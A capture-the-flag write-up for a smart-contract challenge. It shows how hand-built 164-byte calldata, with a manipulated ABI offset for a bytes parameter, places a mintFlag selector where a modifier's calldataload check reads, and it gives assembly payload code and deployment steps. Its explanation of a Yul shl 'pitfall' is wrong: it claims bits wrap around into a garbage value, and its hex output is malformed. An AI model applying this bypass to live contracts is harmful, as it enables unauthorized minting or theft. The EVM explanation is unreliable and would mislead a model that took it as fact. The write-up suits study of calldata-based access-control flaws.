Skip to content
On this page

S2C7: Calldata FTW

1. Problem

The contract has an onlyMintFlag modifier that reads 4 bytes from calldata[68:72], requiring it to equal mintFlag's function selector. It is necessary to bypass this check to call mintFlag.

2. Cause

The onlyMintFlag modifier uses calldataload to directly read a fixed position in calldata (offset 68), rather than using Solidity's type system. By manipulating the offset of the bytes parameter in ABI encoding, the mintFlag selector can be precisely placed at calldata[68:72].

3. Solution

Construct custom calldata such that the ABI offset of the bytes parameter points to a position where the modifier's check location is exactly the mintFlag function selector:

calldata layout (164 bytes):
[0:4]   = mint() selector (0x7ba0e2e7)
[4:36]  = offset 0x7C (points to the bytes data position)
[36:68] = padding
[68:72] = 0xe00d023f (mintFlag() selector — modifier reads here!)
[72:128]= padding
[128:160]= 0x04 (data length)
[160:164]= target function selector
solidity
function callWithPayload(address challenge, uint256 targetWord) internal {
    bytes memory payload = new bytes(164);
    assembly {
        let p := add(payload, 0x20)
        mstore(p, 0x7ba0e2e700000000000000000000000000000000000000000000000000000000) // mint sel + offset prefix
        mstore(add(p, 32), 0x0000007C00000000000000000000000000000000000000000000000000000000) // offset=0x7C + padding
        mstore(add(p, 64), 0x00000000e00d023f000000000000000000000000000000000000000000000000) // mintFlag sel at [68:72]
        mstore(add(p, 96), 0x0000000000000000000000000000000000000000000000000000000000000000)
        mstore(add(p, 128), 0x0000000000000000000000000000000000000000000000000000000000000004) // length=4
        mstore(add(p, 160), targetWord)
    }
    (bool ok,) = challenge.call(payload); require(ok);
}

Two-step execution:

  1. Call mint() with _data = allowMinter() → adds the attacker to the allowed list
  2. Call mint() with _data = mintFlag() → triggers flag mint

4. Pitfalls Encountered

Pitfall 4.1: shl(224, bytes4) produces incorrect results in Yul assembly

When computing the mintFlag selector, using shl(224, bytes4(selector)) in Yul assembly produces completely wrong results.

Example:

solidity
bytes4 target = bytes4(keccak256("allowMinter()")); // 0x0fd16506
bytes32 asmResult;
assembly { asmResult := shl(224, target) }
// asmResult = 0xb38b84bf... (wrong!)
// expected = 0x0fd16506000... (correct)

Pitfall 4.2: Calldata offset calculation

The ABI offset of the bytes parameter needs to precisely point to the position of the mintFlag selector in calldata (68).

Pitfall 4.3: forge create --broadcast ineffective

forge create --broadcast on OP Mainnet always shows "Dry run enabled" and cannot broadcast transactions.

5. Pitfall Causes

Cause 5.1: Memory layout of bytes4 in Yul assembly

In Solidity, bytes4 is right-aligned (occupying the lower 4 bytes of a 32-byte stack slot). But in Yul inline assembly, the bytes4 value is placed in the upper (left) side of the 32-byte stack slot, i.e., left-aligned.

bytes4(0x0fd16506) in Solidity:
  0x000000000000000000000000000000000000000000000000000000000fd16506
  (right-aligned, occupies lower 4 bytes)

bytes4(0x0fd16506) in Yul assembly:
  0x0fd1650600000000000000000000000000000000000000000000000000000000
  (left-aligned, occupies upper 4 bytes)

When executing shl(224, bytes4_value):

  • Expected: shift the right-aligned lower 4 bytes left by 224 bits → selector reaches the upper position
  • Actual: shift the left-aligned upper 4 bytes left by 224 bits → all meaningful data is shifted out! Upper bits become garbage
// Solidity level (correct)
uint256(uint32(0x0fd16506)) << 224
= 0x0fd1650600000000000000000000000000000000000000000000000000000000

// Yul assembly (wrong!)
shl(224, 0x0fd1650600000000000000000000000000000000000000000000000000000000)
= 0xb38b84bf0000000000000000000000000000000000000000000000000000000000
// (garbage! Data shifted out of 256-bit range and wrapped around)

Cause 5.2: Calldata offset

In ABI encoding, the bytes type is encoded as: static part stores the offset, dynamic part stores length + data. The offset is relative to the start of the parameter block. Careful calculation is required so that the modifier's read position is exactly the target selector.

Cause 5.3: forge create bug

forge create --broadcast has a known issue on OP Mainnet — the broadcast logic may fail. Use forge script instead.

6. How to Resolve

Solution 6.1: Avoid operating on bytes4 in Yul

solidity
// Correct approach: convert to uint256 at the Solidity level
bytes4 selector = bytes4(keccak256("allowMinter()"));
uint256 targetWord = uint256(uint32(selector)) << 224;

// Or directly hardcode the precomputed value
uint256 hardcoded = 0x0fd1650600000000000000000000000000000000000000000000000000000000;

This solution uses hardcoded precomputed values to completely avoid this issue.

Solution 6.2: Manually construct calldata

Instead of using Solidity's ABI encoding, manually construct the complete 164-byte payload directly in assembly.

Solution 6.3: Use forge script

bash
forge script script/S2C7Deploy.s.sol --rpc-url $RPC --private-key $PK --broadcast

7. Key Technical Points

PointDescription
ABI calldata encodingbytes type encoding stores offset in the static part and length + data in the dynamic part
calldataload bypassA modifier that directly reads calldata can be bypassed through calldata manipulation
Yul bytes4 alignment trapbytes4 is left-aligned in assembly; shift operation results differ from Solidity
Custom calldataUse assembly mstore to construct arbitrary calldata layouts
forge create bugforge create --broadcast is unusable on OP Mainnet

Core code: solutions/season2/Challenge7Solution.solDiagnostic test: test/Bytes4Shift.t.solDeployment script: script/S2C7Deploy.s.sol

Built with AiAda